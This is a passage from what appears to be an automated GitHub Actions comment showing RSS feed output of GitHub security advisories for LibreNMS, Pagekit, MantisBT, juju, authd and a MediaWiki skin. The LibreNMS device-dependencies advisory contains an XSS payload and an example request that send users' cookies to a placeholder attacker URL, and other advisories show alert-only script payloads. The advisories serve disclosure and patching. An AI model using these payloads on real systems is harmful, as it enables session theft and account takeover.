      <pubDate>Tue, 01 Oct 2024 20:31:13 GMT</pubDate>
    </item>
    <item>
      <title>LibreNMS has Stored Cross-site Scripting vulnerability in &quot;Alert Templates&quot; feature</title>
      <description>&lt;h3&gt;Summary&lt;/h3&gt;
        &lt;p&gt;A Self Cross-Site Scripting (Self-XSS) vulnerability in the &quot;Alert Templates&quot; feature allows users to inject arbitrary JavaScript into the alert template&#39;s name. This script executes immediately upon submission but does not persist after a page refresh.&lt;/p&gt;
        &lt;h3&gt;Details&lt;/h3&gt;
        &lt;p&gt;The vulnerability occurs when creating an alert template in the LibreNMS interface. Although the application sanitizes the &quot;name&quot; field when storing it in the database, this newly created template is immediately added to the table without any sanitization being applied to the name, allowing users to inject arbitrary JavaScript. This script executes when the template is created but does not persist in the database, thus preventing stored XSS.&lt;/p&gt;
        &lt;p&gt;For instance, the following payload can be used to exploit the vulnerability:&lt;br&gt;
        &lt;code class=&quot;notranslate&quot;&gt;test1&amp;lt;script&amp;gt;{onerror=alert}throw 1337&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/p&gt;
        &lt;p&gt;The root cause of this vulnerability lies in the lack of sanitization of the &quot;name&quot; variable before it is rendered in the table. The vulnerability exists because the bootgrid function of the jQuery grid plugin does not sanitize the text being added to the table. Although tags are stripped before being added to the database (as shown in the code below), the vulnerability still allows Self-XSS during the creation of the template.&lt;/p&gt;
        &lt;p&gt;Where the variable is being sanitized before being stored in the database:&lt;br&gt;
        &lt;a href=&quot;https://github.com/librenms/librenms/blob/0e741e365aa974a74aee6b43d1b4b759158a5c7e/includes/html/forms/alert-templates.inc.php#L40&quot;&gt;https://github.com/librenms/librenms/blob/0e741e365aa974a74aee6b43d1b4b759158a5c7e/includes/html/forms/alert-templates.inc.php#L40&lt;/a&gt;&lt;/p&gt;
        &lt;p&gt;Where the vulnerability is happening:&lt;br&gt;
        &lt;a href=&quot;https://github.com/librenms/librenms/blob/0e741e365aa974a74aee6b43d1b4b759158a5c7e/includes/html/modal/alert_template.inc.php#L205&quot;&gt;https://github.com/librenms/librenms/blob/0e741e365aa974a74aee6b43d1b4b759158a5c7e/includes/html/modal/alert_template.inc.php#L205&lt;/a&gt;&lt;/p&gt;
        &lt;h3&gt;PoC&lt;/h3&gt;
        &lt;ol&gt;
        &lt;li&gt;Navigate to the &quot;Alert Templates&quot; creation page in the LibreNMS interface.&lt;/li&gt;
        &lt;li&gt;In the &quot;Name&quot; field, input the following payload:&lt;br&gt;
        &lt;code class=&quot;notranslate&quot;&gt;test1&amp;lt;script&amp;gt;{onerror=alert}throw 1337&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/li&gt;
        &lt;li&gt;Submit the form to create the alert template.&lt;/li&gt;
        &lt;li&gt;Observe that the JavaScript executes immediately, triggering an alert popup. However, this code does not persist after refreshing the page.&lt;/li&gt;
        &lt;/ol&gt;
        &lt;h3&gt;Impact&lt;/h3&gt;
        &lt;p&gt;This is a Self Cross-Site Scripting (Self-XSS) vulnerability. Although the risk is lower compared to traditional XSS, it can still be exploited through social engineering or tricking users into entering or interacting with malicious code. This can lead to unauthorized actions or data exposure in the context of the affected user&#39;s session.&lt;/p&gt;
        &lt;h3&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a title=&quot;GHSA-gcgp-q2jq-fw52&quot; href=&quot;https://github.com/librenms/librenms/security/advisories/GHSA-gcgp-q2jq-fw52&quot;&gt;GHSA-gcgp-q2jq-fw52&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a class=&quot;commit-link&quot; data-hovercard-type=&quot;commit&quot; data-hovercard-url=&quot;https://github.com/librenms/librenms/commit/f259edc19b9f0ccca484c60b1ba70a0bfff97ef5/hovercard&quot; href=&quot;https://github.com/librenms/librenms/commit/f259edc19b9f0ccca484c60b1ba70a0bfff97ef5&quot;&gt;librenms/librenms@&lt;tt&gt;f259edc&lt;/tt&gt;&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/librenms/librenms/blob/0e741e365aa974a74aee6b43d1b4b759158a5c7e/includes/html/forms/alert-templates.inc.php#L40&quot;&gt;https://github.com/librenms/librenms/blob/0e741e365aa974a74aee6b43d1b4b759158a5c7e/includes/html/forms/alert-templates.inc.php#L40&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/librenms/librenms/blob/0e741e365aa974a74aee6b43d1b4b759158a5c7e/includes/html/modal/alert_template.inc.php#L205&quot;&gt;https://github.com/librenms/librenms/blob/0e741e365aa974a74aee6b43d1b4b759158a5c7e/includes/html/modal/alert_template.inc.php#L205&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-47526&quot; rel=&quot;nofollow&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-47526&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-gcgp-q2jq-fw52</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-gcgp-q2jq-fw52</guid>
      <pubDate>Tue, 01 Oct 2024 20:31:09 GMT</pubDate>
    </item>
    <item>
      <title>LibreNMS has Stored Cross-site Scripting vulnerability in &quot;Device Dependencies&quot; feature</title>
      <description>&lt;h3&gt;Summary&lt;/h3&gt;
        &lt;p&gt;A Stored Cross-Site Scripting (XSS) vulnerability in the &quot;Device Dependencies&quot; feature allows authenticated users to inject arbitrary JavaScript through the device name (&quot;hostname&quot; parameter). This vulnerability can lead to the execution of malicious code in the context of other users&#39; sessions, potentially compromising their accounts and allowing unauthorized actions.&lt;/p&gt;
        &lt;h3&gt;Details&lt;/h3&gt;
        &lt;p&gt;The vulnerability occurs when creating a device within LibreNMS. An attacker can inject arbitrary JavaScript into the hostname parameter. This malicious script is then executed when another user visits the device dependencies page, resulting in an automatic redirect to a website controlled by the attacker. This redirect can be used to steal session cookies or perform other malicious actions.&lt;/p&gt;
        &lt;p&gt;For example, the following payload can be used to exploit the vulnerability:&lt;br&gt;
        &lt;code class=&quot;notranslate&quot;&gt;t&#39;&#39; autofocus onfocus=&quot;document.location=&#39;https://&amp;lt;attacker_url&amp;gt;/?c=&#39;+document.cookie&quot;&lt;/code&gt;&lt;/p&gt;
        &lt;p&gt;When the device dependencies page is loaded, this payload triggers the JavaScript, causing the user&#39;s browser to redirect to the attacker&#39;s website with any non-httponly cookies in the URL.&lt;/p&gt;
        &lt;p&gt;The root cause of this vulnerability is the application&#39;s failure to sanitize the row.hostname value before including it in the HTML output.&lt;/p&gt;
        &lt;p&gt;This is evident in the following line of code:&lt;br&gt;
        &lt;a href=&quot;https://github.com/librenms/librenms/blob/9455173edce6971777cf6666d540eeeaf6201920/includes/html/pages/device-dependencies.inc.php#L74&quot;&gt;https://github.com/librenms/librenms/blob/9455173edce6971777cf6666d540eeeaf6201920/includes/html/pages/device-dependencies.inc.php#L74&lt;/a&gt;&lt;/p&gt;
        &lt;h3&gt;PoC&lt;/h3&gt;
        &lt;ol&gt;
        &lt;li&gt;Add a new device using the following payload for the hostname:&lt;br&gt;
        &lt;code class=&quot;notranslate&quot;&gt;t&#39;&#39; autofocus onfocus=&quot;document.location=&#39;https://&amp;lt;attacker_url&amp;gt;/?c=&#39;+document.cookie&quot;&lt;/code&gt;&lt;/li&gt;
        &lt;li&gt;Save the device.&lt;/li&gt;
        &lt;li&gt;Navigate to the device dependencies page.&lt;/li&gt;
        &lt;li&gt;Observe that the injected script executes, redirecting the user to the attacker&#39;s website with any non-httponly cookies included in the URL.&lt;/li&gt;
        &lt;/ol&gt;
        &lt;p&gt;Example Request:&lt;/p&gt;
        &lt;div class=&quot;highlight highlight-source-httpspec&quot;&gt;&lt;pre class=&quot;notranslate&quot;&gt;&lt;span class=&quot;pl-k&quot;&gt;POST&lt;/span&gt;&lt;span class=&quot;pl-c1&quot;&gt; /addhost HTTP/1.1&lt;/span&gt;
        &lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-v&quot;&gt;Host:&lt;/span&gt; &amp;lt;your_host&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-v&quot;&gt;X-Requested-With:&lt;/span&gt; XMLHttpRequest&lt;/span&gt;
        &lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-v&quot;&gt;Content-Type:&lt;/span&gt; application/x-www-form-urlencoded; charset=UTF-8&lt;/span&gt;
        &lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-v&quot;&gt;Cookie:&lt;/span&gt; &amp;lt;your_cookie&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;pl-ii&quot;&gt;_token=&amp;lt;your_token&amp;gt;&amp;amp;hostname=t%27%27+autofocus+onfocus%3D%22document.location%3D%27https%3A%2F%&amp;lt;attacker_url&amp;gt;%2F%3Fc%3D%27%2Bdocument.cookie%22&amp;amp;sysName=&amp;amp;hardware=&amp;amp;os=&amp;amp;os_id=&amp;amp;snmpver=v2c&amp;amp;port=&amp;amp;transport=udp&amp;amp;port_assoc_mode=ifIndex&amp;amp;community=&amp;amp;authlevel=noAuthNoPriv&amp;amp;authname=&amp;amp;authpass=&amp;amp;authalgo=SHA&amp;amp;cryptopass=&amp;amp;cryptoalgo=AES&amp;amp;force_add=on&amp;amp;Submit=&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;
        &lt;h3&gt;Impact&lt;/h3&gt;
        &lt;p&gt;It could allow authenticated users to execute arbitrary JavaScript code in the context of other users&#39; sessions. Impacted users could have their accounts compromised, enabling the attacker to perform unauthorized actions on their behalf.&lt;/p&gt;
        &lt;h3&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a title=&quot;GHSA-rwwc-2v8q-gc9v&quot; href=&quot;https://github.com/librenms/librenms/security/advisories/GHSA-rwwc-2v8q-gc9v&quot;&gt;GHSA-rwwc-2v8q-gc9v&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a class=&quot;commit-link&quot; data-hovercard-type=&quot;commit&quot; data-hovercard-url=&quot;https://github.com/librenms/librenms/commit/36b38a50cc10d4ed16caab92bdc18ed6abac9685/hovercard&quot; href=&quot;https://github.com/librenms/librenms/commit/36b38a50cc10d4ed16caab92bdc18ed6abac9685&quot;&gt;librenms/librenms@&lt;tt&gt;36b38a5&lt;/tt&gt;&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/librenms/librenms/blob/9455173edce6971777cf6666d540eeeaf6201920/includes/html/pages/device-dependencies.inc.php#L74&quot;&gt;https://github.com/librenms/librenms/blob/9455173edce6971777cf6666d540eeeaf6201920/includes/html/pages/device-dependencies.inc.php#L74&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-47527&quot; rel=&quot;nofollow&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-47527&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-rwwc-2v8q-gc9v</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-rwwc-2v8q-gc9v</guid>
      <pubDate>Tue, 01 Oct 2024 20:31:04 GMT</pubDate>
    </item>
    <item>
      <title>Pagekit Cross-site Scripting vulnerability</title>
      <description>&lt;p&gt;Pagekit 1.0.18 is vulnerable to Cross Site Scripting (XSS) in index.php/admin/site/widget.&lt;/p&gt;
        &lt;h3&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-45967&quot; rel=&quot;nofollow&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-45967&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/yingning620/test123/blob/main/Pagekit%20CMS/Pagekit%20CMS%20v1.0.18%20%E5%AD%98%E5%82%A8%E5%9E%8BXSS.md&quot;&gt;https://github.com/yingning620/test123/blob/main/Pagekit%20CMS/Pagekit%20CMS%20v1.0.18%20%E5%AD%98%E5%82%A8%E5%9E%8BXSS.md&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-xw32-6422-frqm</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-xw32-6422-frqm</guid>
      <pubDate>Tue, 01 Oct 2024 15:32:09 GMT</pubDate>
    </item>
    <item>
      <title>starcitizentools/citizen-skin vulnerable to stored, self-XSS in the &quot;real name&quot; field</title>
      <description>&lt;h3&gt;Summary&lt;/h3&gt;
        &lt;p&gt;A user with the &lt;code class=&quot;notranslate&quot;&gt;editmyprivateinfo&lt;/code&gt; right or who can otherwise change their name can XSS themselves by setting their &quot;real name&quot; to an XSS payload.&lt;/p&gt;
        &lt;h3&gt;Details&lt;/h3&gt;
        &lt;p&gt;Here&#39;s the offending line:&lt;br&gt;
        &lt;a href=&quot;https://github.com/StarCitizenTools/mediawiki-skins-Citizen/blob/d45c3d69f30863f622f16eb40dd41d3ca943454a/includes/Components/CitizenComponentUserInfo.php#L137&quot;&gt;https://github.com/StarCitizenTools/mediawiki-skins-Citizen/blob/d45c3d69f30863f622f16eb40dd41d3ca943454a/includes/Components/CitizenComponentUserInfo.php#L137&lt;/a&gt;&lt;/p&gt;
        &lt;p&gt;This was introduced in 717d16af35b10dab04d434aefddbf991fc8c168c&lt;/p&gt;
        &lt;h3&gt;PoC&lt;/h3&gt;
        &lt;ol&gt;
        &lt;li&gt;Login&lt;/li&gt;
        &lt;li&gt;Go to Special:Preferences&lt;/li&gt;
        &lt;li&gt;Set the real name field to a string like &lt;code class=&quot;notranslate&quot;&gt;&amp;lt;script&amp;gt;alert(&quot;Admin with a propensity for self-XSSes&quot;)&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/li&gt;
        &lt;li&gt;Save your settings and use Citizen if it&#39;s not being used already&lt;/li&gt;
        &lt;/ol&gt;
        &lt;p&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/user-attachments/assets/22adbb70-fcd7-4f81-8e53-1f5f3a730270&quot;&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/22adbb70-fcd7-4f81-8e53-1f5f3a730270&quot; alt=&quot;&quot; style=&quot;max-width: 100%;&quot; referrerpolicy=&quot;no-referrer&quot;&gt;&lt;/a&gt;&lt;/p&gt;
        &lt;h3&gt;Impact&lt;/h3&gt;
        &lt;p&gt;Any user who can change their name (whether it&#39;s through the editmyprivateinfo right or through other means) can add XSS payloads that trigger for themselves only.&lt;/p&gt;
        &lt;h3&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a title=&quot;GHSA-62r2-gcxr-426x&quot; href=&quot;https://github.com/StarCitizenTools/mediawiki-skins-Citizen/security/advisories/GHSA-62r2-gcxr-426x&quot;&gt;GHSA-62r2-gcxr-426x&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a class=&quot;commit-link&quot; data-hovercard-type=&quot;commit&quot; data-hovercard-url=&quot;https://github.com/StarCitizenTools/mediawiki-skins-Citizen/commit/717d16af35b10dab04d434aefddbf991fc8c168c/hovercard&quot; href=&quot;https://github.com/StarCitizenTools/mediawiki-skins-Citizen/commit/717d16af35b10dab04d434aefddbf991fc8c168c&quot;&gt;StarCitizenTools/mediawiki-skins-Citizen@&lt;tt&gt;717d16a&lt;/tt&gt;&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a class=&quot;commit-link&quot; data-hovercard-type=&quot;commit&quot; data-hovercard-url=&quot;https://github.com/StarCitizenTools/mediawiki-skins-Citizen/commit/86da3e07718c8d8da6f4310386fef85599606f9b/hovercard&quot; href=&quot;https://github.com/StarCitizenTools/mediawiki-skins-Citizen/commit/86da3e07718c8d8da6f4310386fef85599606f9b&quot;&gt;StarCitizenTools/mediawiki-skins-Citizen@&lt;tt&gt;86da3e0&lt;/tt&gt;&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/StarCitizenTools/mediawiki-skins-Citizen/blob/d45c3d69f30863f622f16eb40dd41d3ca943454a/includes/Components/CitizenComponentUserInfo.php#L137&quot;&gt;https://github.com/StarCitizenTools/mediawiki-skins-Citizen/blob/d45c3d69f30863f622f16eb40dd41d3ca943454a/includes/Components/CitizenComponentUserInfo.php#L137&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-47536&quot; rel=&quot;nofollow&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-47536&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-62r2-gcxr-426x</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-62r2-gcxr-426x</guid>
      <pubDate>Mon, 30 Sep 2024 17:48:33 GMT</pubDate>
    </item>
    <item>
      <title>MantisBT vulnerable to information disclosure with user profiles</title>
      <description>&lt;p&gt;Using a crafted POST request, an unprivileged, registered user is able to retrieve information about other users&#39; personal system profiles.&lt;/p&gt;
        &lt;h3&gt;Impact&lt;/h3&gt;
        &lt;p&gt;Disclosure of private system profiles: Platform, OS, OS version, Description.&lt;/p&gt;
        &lt;h3&gt;Patches&lt;/h3&gt;
        &lt;p&gt;Work in progress&lt;/p&gt;
        &lt;h3&gt;Workarounds&lt;/h3&gt;
        &lt;p&gt;None&lt;/p&gt;
        &lt;h3&gt;References&lt;/h3&gt;
        &lt;p&gt;&lt;a href=&quot;https://mantisbt.org/bugs/view.php?id=34640&quot; rel=&quot;nofollow&quot;&gt;https://mantisbt.org/bugs/view.php?id=34640&lt;/a&gt;&lt;/p&gt;
        &lt;h3&gt;References&lt

...

@github-actions GitHub Actions
Copy link
Contributor

github-actions bot commented Oct 5, 2024

http://localhost:1200/github/advisor/data/reviewed/go - Success ✔️ 
<?xml version="1.0" encoding="UTF-8"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" version="2.0">
  <channel>
    <title>GitHub Advisory Database RSS - go - reviewed</title>
    <link>https://github.com/advisories</link>
    <atom:link href="http://localhost:1200/github/advisor/data/reviewed/go" rel="self" type="application/rss+xml"></atom:link>
    <description>GitHub Advisory Database RSS - go - reviewed - Powered by RSSHub</description>
    <generator>RSSHub</generator>
    <webMaster>contact@rsshub.app (RSSHub)</webMaster>
    <language>en</language>
    <lastBuildDate>Sat, 05 Oct 2024 18:31:02 GMT</lastBuildDate>
    <ttl>5</ttl>
    <item>
      <title>Vulnerable juju introspection abstract UNIX domain socket</title>
      <description>&lt;h3&gt;Impact&lt;/h3&gt;
        &lt;p&gt;An abstract UNIX domain socket responsible for introspection is available without authentication locally to any user with access to the network namespace where the local juju agent is running.&lt;/p&gt;
        &lt;p&gt;On a juju controller agent, denial of service can be performed by using the &lt;code class=&quot;notranslate&quot;&gt;/leases/revoke&lt;/code&gt; endpoint. Revoking leases in juju can cause availability issues.&lt;/p&gt;
        &lt;p&gt;On a juju machine agent that is hosting units, disabling the unit component can be performed using the &lt;code class=&quot;notranslate&quot;&gt;/units&lt;/code&gt; endpoint with a &quot;stop&quot; action.&lt;/p&gt;
        &lt;h3&gt;Patches&lt;/h3&gt;
        &lt;p&gt;Patch: &lt;a class=&quot;commit-link&quot; data-hovercard-type=&quot;commit&quot; data-hovercard-url=&quot;https://github.com/juju/juju/commit/43f0fc59790d220a457d4d305f484f62be556d3b/hovercard&quot; href=&quot;https://github.com/juju/juju/commit/43f0fc59790d220a457d4d305f484f62be556d3b&quot;&gt;juju/juju@&lt;tt&gt;43f0fc5&lt;/tt&gt;&lt;/a&gt;&lt;br&gt;
        Patched in:&lt;/p&gt;
        &lt;ul&gt;
        &lt;li&gt;3.5.4&lt;/li&gt;
        &lt;li&gt;3.4.6&lt;/li&gt;
        &lt;li&gt;3.3.7&lt;/li&gt;
        &lt;li&gt;3.1.10&lt;/li&gt;
        &lt;li&gt;2.9.51&lt;/li&gt;
        &lt;/ul&gt;
        &lt;h3&gt;Workarounds&lt;/h3&gt;
        &lt;p&gt;No workaround.&lt;/p&gt;
        &lt;h3&gt;References&lt;/h3&gt;
        &lt;p&gt;&lt;a href=&quot;https://github.com/juju/juju/blob/725800953aaa29dbeda4f806097bf838e61644dd/worker/introspection/worker.go#L125&quot;&gt;https://github.com/juju/juju/blob/725800953aaa29dbeda4f806097bf838e61644dd/worker/introspection/worker.go#L125&lt;/a&gt;&lt;/p&gt;
        &lt;h3&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a title=&quot;GHSA-xwgj-vpm9-q2rq&quot; href=&quot;https://github.com/juju/juju/security/advisories/GHSA-xwgj-vpm9-q2rq&quot;&gt;GHSA-xwgj-vpm9-q2rq&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-8038&quot; rel=&quot;nofollow&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-8038&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a class=&quot;commit-link&quot; data-hovercard-type=&quot;commit&quot; data-hovercard-url=&quot;https://github.com/juju/juju/commit/43f0fc59790d220a457d4d305f484f62be556d3b/hovercard&quot; href=&quot;https://github.com/juju/juju/commit/43f0fc59790d220a457d4d305f484f62be556d3b&quot;&gt;juju/juju@&lt;tt&gt;43f0fc5&lt;/tt&gt;&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/juju/juju/blob/725800953aaa29dbeda4f806097bf838e61644dd/worker/introspection/worker.go#L125&quot;&gt;https://github.com/juju/juju/blob/725800953aaa29dbeda4f806097bf838e61644dd/worker/introspection/worker.go#L125&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-xwgj-vpm9-q2rq</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-xwgj-vpm9-q2rq</guid>
      <pubDate>Thu, 03 Oct 2024 16:53:26 GMT</pubDate>
    </item>
    <item>
      <title>Vulnerable juju hook tool abstract UNIX domain socket</title>
      <description>&lt;h3&gt;Impact&lt;/h3&gt;
        &lt;p&gt;When combined with an attack of &lt;code class=&quot;notranslate&quot;&gt;JUJU_CONTEXT_ID&lt;/code&gt;, any user on the local system with access to the default network namespace may connect to the &lt;code class=&quot;notranslate&quot;&gt;@/var/lib/juju/agents/unit-xxxx-yyyy/agent.socket&lt;/code&gt; and perform actions that are normally reserved to a juju charm.&lt;/p&gt;
        &lt;h3&gt;Patches&lt;/h3&gt;
        &lt;p&gt;Patch: &lt;a class=&quot;commit-link&quot; data-hovercard-type=&quot;commit&quot; data-hovercard-url=&quot;https://github.com/juju/juju/commit/2f2ec128ef5a8ca81fc86ae79cfcdbab0007c206/hovercard&quot; href=&quot;https://github.com/juju/juju/commit/2f2ec128ef5a8ca81fc86ae79cfcdbab0007c206&quot;&gt;juju/juju@&lt;tt&gt;2f2ec12&lt;/tt&gt;&lt;/a&gt;&lt;br&gt;
        Patched in:&lt;/p&gt;
        &lt;ul&gt;
        &lt;li&gt;3.5.4&lt;/li&gt;
        &lt;li&gt;3.4.6&lt;/li&gt;
        &lt;li&gt;3.3.7&lt;/li&gt;
        &lt;li&gt;3.1.10&lt;/li&gt;
        &lt;li&gt;2.9.51&lt;/li&gt;
        &lt;/ul&gt;
        &lt;h3&gt;Workarounds&lt;/h3&gt;
        &lt;p&gt;No workarounds available.&lt;/p&gt;
        &lt;h3&gt;References&lt;/h3&gt;
        &lt;p&gt;&lt;a href=&quot;https://github.com/juju/juju/security/advisories/GHSA-mh98-763h-m9v4&quot;&gt;GHSA-mh98-763h-m9v4&lt;/a&gt;&lt;br&gt;
        &lt;a href=&quot;https://github.com/juju/juju/blob/725800953aaa29dbeda4f806097bf838e61644dd/worker/uniter/paths.go#L222&quot;&gt;https://github.com/juju/juju/blob/725800953aaa29dbeda4f806097bf838e61644dd/worker/uniter/paths.go#L222&lt;/a&gt;&lt;/p&gt;
        &lt;h3&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a title=&quot;GHSA-8v4w-f4r9-7h6x&quot; href=&quot;https://github.com/juju/juju/security/advisories/GHSA-8v4w-f4r9-7h6x&quot;&gt;GHSA-8v4w-f4r9-7h6x&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a title=&quot;GHSA-mh98-763h-m9v4&quot; href=&quot;https://github.com/juju/juju/security/advisories/GHSA-mh98-763h-m9v4&quot;&gt;GHSA-mh98-763h-m9v4&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-8037&quot; rel=&quot;nofollow&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-8037&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a class=&quot;commit-link&quot; data-hovercard-type=&quot;commit&quot; data-hovercard-url=&quot;https://github.com/juju/juju/commit/2f2ec128ef5a8ca81fc86ae79cfcdbab0007c206/hovercard&quot; href=&quot;https://github.com/juju/juju/commit/2f2ec128ef5a8ca81fc86ae79cfcdbab0007c206&quot;&gt;juju/juju@&lt;tt&gt;2f2ec12&lt;/tt&gt;&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/juju/juju/blob/725800953aaa29dbeda4f806097bf838e61644dd/worker/uniter/paths.go#L222&quot;&gt;https://github.com/juju/juju/blob/725800953aaa29dbeda4f806097bf838e61644dd/worker/uniter/paths.go#L222&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-8v4w-f4r9-7h6x</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-8v4w-f4r9-7h6x</guid>
      <pubDate>Thu, 03 Oct 2024 16:53:20 GMT</pubDate>
    </item>
    <item>
      <title>PAM module may allow accessing with the credentials of another user</title>
      <description>&lt;p&gt;Authd PAM module up to version 0.3.4 can allow broker-managed users to impersonate any other user managed by the same broker and perform any PAM operation with it, including authenticating as them.&lt;/p&gt;
        &lt;p&gt;This is possible using tools such as &lt;code class=&quot;notranslate&quot;&gt;su&lt;/code&gt;, &lt;code class=&quot;notranslate&quot;&gt;sudo&lt;/code&gt; or &lt;code class=&quot;notranslate&quot;&gt;ssh&lt;/code&gt; (and potentially others) that, so far, do not ensure that the PAM user at the end of the transaction is matching the one who initiated the transaction.&lt;/p&gt;
        &lt;p&gt;Authd 0.3.5 fixes this by not allowing changing the user unless it was never set before in the PAM stack.&lt;/p&gt;
        &lt;p&gt;&lt;code class=&quot;notranslate&quot;&gt;su&lt;/code&gt; version that will include &lt;a class=&quot;issue-link js-issue-link&quot; data-error-text=&quot;Failed to load title&quot; data-id=&quot;2539116222&quot; data-permission-text=&quot;Title is private&quot; data-url=&quot;https://github.com/util-linux/util-linux/issues/3206&quot; data-hovercard-type=&quot;pull_request&quot; data-hovercard-url=&quot;/util-linux/util-linux/pull/3206/hovercard&quot; href=&quot;https://github.com/util-linux/util-linux/pull/3206&quot;&gt;util-linux/util-linux#3206&lt;/a&gt; will not be affected&lt;br&gt;
        &lt;code class=&quot;notranslate&quot;&gt;ssh&lt;/code&gt; version that will include &lt;a class=&quot;issue-link js-issue-link&quot; data-error-text=&quot;Failed to load title&quot; data-id=&quot;2556379017&quot; data-permission-text=&quot;Title is private&quot; data-url=&quot;https://github.com/openssh/openssh-portable/issues/521&quot; data-hovercard-type=&quot;pull_request&quot; data-hovercard-url=&quot;/openssh/openssh-portable/pull/521/hovercard&quot; href=&quot;https://github.com/openssh/openssh-portable/pull/521&quot;&gt;openssh/openssh-portable#521&lt;/a&gt; will not be affected&lt;br&gt;
        &lt;code class=&quot;notranslate&quot;&gt;sudo&lt;/code&gt; version that will include &lt;a class=&quot;issue-link js-issue-link&quot; data-error-text=&quot;Failed to load title&quot; data-id=&quot;2560317781&quot; data-permission-text=&quot;Title is private&quot; data-url=&quot;https://github.com/sudo-project/sudo/issues/412&quot; data-hovercard-type=&quot;pull_request&quot; data-hovercard-url=&quot;/sudo-project/sudo/pull/412/hovercard&quot; href=&quot;https://github.com/sudo-project/sudo/pull/412&quot;&gt;sudo-project/sudo#412&lt;/a&gt; will not be affected&lt;br&gt;
        &lt;code class=&quot;notranslate&quot;&gt;login&lt;/code&gt; not affected&lt;br&gt;
        &lt;code class=&quot;notranslate&quot;&gt;passwd&lt;/code&gt; not affected&lt;/p&gt;
        &lt;details&gt;
        &lt;summary&gt;Old report&lt;/summary&gt;
        &lt;h3&gt;Summary&lt;/h3&gt;
        &lt;p&gt;An user can access as another user using its own credentials&lt;/p&gt;
        &lt;h3&gt;Details&lt;/h3&gt;
        &lt;p&gt;I feel we’ve a security issue that is due to the fact that we allow changing the user in the cases in which that’s already provided by PAM, I’ve not tested this using the entra-id broker but it’s reproducible with the example one, but unless I’m missing something it should be independent from the broker in use.&lt;/p&gt;
        &lt;p&gt;Basically, by going to the user selection page we allow to login as any user by entering the use own credentials.&lt;/p&gt;
